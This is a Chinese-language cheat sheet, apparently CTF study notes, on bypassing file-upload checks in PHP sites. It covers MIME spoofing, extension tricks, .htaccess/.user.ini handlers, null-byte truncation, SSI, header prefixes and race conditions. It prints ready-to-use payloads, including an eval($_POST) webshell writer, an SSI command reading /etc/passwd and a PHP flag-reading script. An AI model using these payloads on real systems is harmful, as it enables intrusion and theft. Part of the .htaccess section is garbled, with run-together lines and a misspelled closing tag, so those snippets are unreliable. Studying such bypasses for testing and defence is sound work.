兩種校驗方式
- 客戶端校驗(javascript校驗)
- 服務端校驗
客戶端校驗
繞過方法
- 抓包改包
- 禁用JS
禁用JS
- 如果是彈窗提示,打開控制台->網絡,上傳時沒有請求發出去,說明是在本地校驗
- 火狐插件-yescript2
- 老版本可以使用WebDeveloper
抓包改包
用bp抓包后直接改后綴名
服務端校驗
MIME類型檢測
MIME類型在html文件中使用content-type屬性表示
- php舉例:
if($_FILES["upfile"]["type"]!="image/gif"){
echo "只允許上傳圖片";
exit;
}
-
常見文件名對應的MIME類型
- 擴展名:gif MIME類型:image/gif
- 擴展名:png MIME類型:image/png
- 擴展名:jpg MIME類型:image/jpg
- 擴展名:js MIME類型:text/javascript
- 擴展名:htm MIME類型:text/html
- 擴展名:html MIME類型:text/html
-
繞過方法
- 抓包改content-type字段
- 改文件名后上傳抓包后再改回文件名
- 上傳正常文件改文件內容
- 。。。
后綴名黑名單校驗
-
繞過方法
- 大小寫繞過,例如Php、PhP
- 利用黑名單中沒有的,但是又能夠被解析的后綴名,例如
php、php3、php4、php5、php7、pht、phtml、phps - 配合Apache的.htaccess文件上傳解析
該文件可以理解為Apache的分布式配置文件,在一個特定的文檔中放置,以作用於此目錄及其所有子目錄。管理員可以通過Apache的AllowOverride指令來設置/etc/apache2/apache2.conf,默認是NONE,需要為ALL

<FilesMatch "xxx.jpg"> SetHandler application/x-httpd-php </FilesMacth>不能寫
<?時使用偽協議AddType application/x-httpd-php .wuwu php_value auto_append_file "php://filter/convert.base64-decode/resource=shell.wuwu".user.ini上傳
刷題記錄:[SUCTF 2019]CheckIn- 使用00截斷(需要magic_quotes_gpc=Off)
基於一個組合邏輯漏洞
name = getname(http request)//假如這時候獲取到的文件名是test.asp.jpg(asp后面為0x00) type = gettype(name)//而在gettype()函數里處理方式是從后往前掃描擴展名,所以判斷為jpg if(type==jpg) SaveFileToPath(UploadPath.name,name)在第一個后綴名后加一個空格(0x20),使用bp->repeater->hex,將其改成0x00
- 超長文件名截斷上傳(windows 258byte | linux 4096byte)
使用./或. shtml
當Web服務器為Apache和IIS(支持SSI功能的服務器)且開啟了SSI與CGI支持
<!--#exec cmd="cat /etc/passwd"-->
后綴名白名單校驗
- 配合Apache的解析缺陷
Apache的解析漏洞主要特性是從后面開始檢查后綴,按最后一個合法后綴
內容頭校驗

-
繞過方法
在惡意腳本前加上允許上傳文件的頭標識

GIF89a <?php phpinfo(); ?>
競爭上傳
- 情景
文件上傳后,檢測是否合法,不合法就刪除 - 利用方式
在刪除前訪問到上傳的文件
用bp同時上傳和訪問<?php $file = 'web.php'; $shell = '<?php eval($_POST["key"])?>'; file_put_contents($file,$shell); ?> - 例子
https://github.com/backlion/demo/blob/master/lfi_phpinfo.py
php崩潰導致tmp文件保留
當存在include的時候,傳入file=php://filter/string.strip_tags/resource=/etc/passwd會導致Segment Fault,這樣如果在此同時上傳文件,那么臨時文件就會被保存在/tmp目錄,不會被刪除。但是這時還需要知道tmp目錄下的文件名
過濾<?或php
- js標簽繞過,需要php小於7.0
<script language="PHP">
$fh=fopen("../flag.".strtolower("PHP"),'r');
echo fread($fh,filesize("../flag.".strtolower("PHP")));
fclose($fh);
</script>
- PHP開啟短標簽即
short_open_tag=on時,可以使用<?=$_?>輸出變量,在PHP 5.4 之后默認支持

